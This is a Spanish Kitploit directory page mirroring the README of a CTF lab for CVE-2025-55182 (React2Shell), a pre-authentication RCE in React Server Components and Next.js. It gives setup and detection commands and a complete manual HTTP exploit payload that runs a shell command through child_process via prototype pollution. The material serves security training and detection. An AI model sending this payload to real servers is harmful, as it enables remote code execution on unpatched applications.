Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-React2Shell-Lab — Entorno de laboratorio CTF que explota CVE-2025-55182 (RCE en React Server Components) con un blog vulnerable en Next.js, scripts de detección y payloads manuales de explotación para formación práctica en seguridad. | Kitploit
Herramientas/GitHubGitHub/goultarde/cve-2025-55182-react2shell-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubgoultarde/cve-2025-55182-react2shell-lab

CVE-2025-55182-React2Shell-Lab

Entorno de laboratorio CTF que explota CVE-2025-55182 (RCE en React Server Components) con un blog vulnerable en Next.js, scripts de detección y payloads manuales de explotación para formación práctica en seguridad.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 7 mesesAún no revisado

CyberSec Blog CTF - React2Shell PoC

Este repositorio proporciona un entorno CTF (Capture The Flag) vulnerable basado en un blog de ciberseguridad que utiliza Next.js y React Server Components.

CVE-2025-55182 : Vulnerabilidad de ejecución remota de código (RCE) preautenticación en React Server Components versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0. El código vulnerable deserializa de manera no segura los payloads de las solicitudes HTTP hacia los endpoints Server Function.

CVE-2025-66478 : Impacto en las aplicaciones Next.js que utilizan el App Router.


Descripción del CTF

Este desafío presenta un blog de ciberseguridad con:

  • 5 artículos sobre temas de seguridad (Web, React, CTF, Next.js, Deserialización)
  • 3 autores ficticios
  • Una interfaz moderna en modo oscuro

El blog utiliza versiones vulnerables de React y Next.js, lo que permite la explotación de la falla React2Shell.

Versiones vulnerables utilizadas

PaqueteVersión
next16.0.6
react19.2.0
react-dom19.2.0

Cómo ejecutar el CTF

Con Docker (recomendado)

root@kitploit:~
# Construire l'image
docker build -t react2shell-poc .

# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Sin Docker

root@kitploit:~
npm install
npm run build
npm run start

Luego, accede a http://127.0.0.1:3000

Cómo detectar la vulnerabilidad

Con el escáner AssetNote

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Con Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

Cómo explotar

Con la herramienta React2Shell

Consulta la carpeta React2Shell/ para el exploit Python.

Payload HTTP manual

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

La respuesta contendrá el resultado del comando id en el encabezado x-action-redirect.

Referencias

  • Security Advisory: Critical RCE Vulnerabilities in React Server Components & Next.js
  • CVE-2025-55182 - NVD
  • CVE-2025-66478 - Next.js Security Advisory
  • React2Shell Scanner - AssetNote

CTF Challenge personalizado basado en la plantilla simple-nextjs-blog y el entorno vulnerable CVE-2025-55182.

Descargar herramienta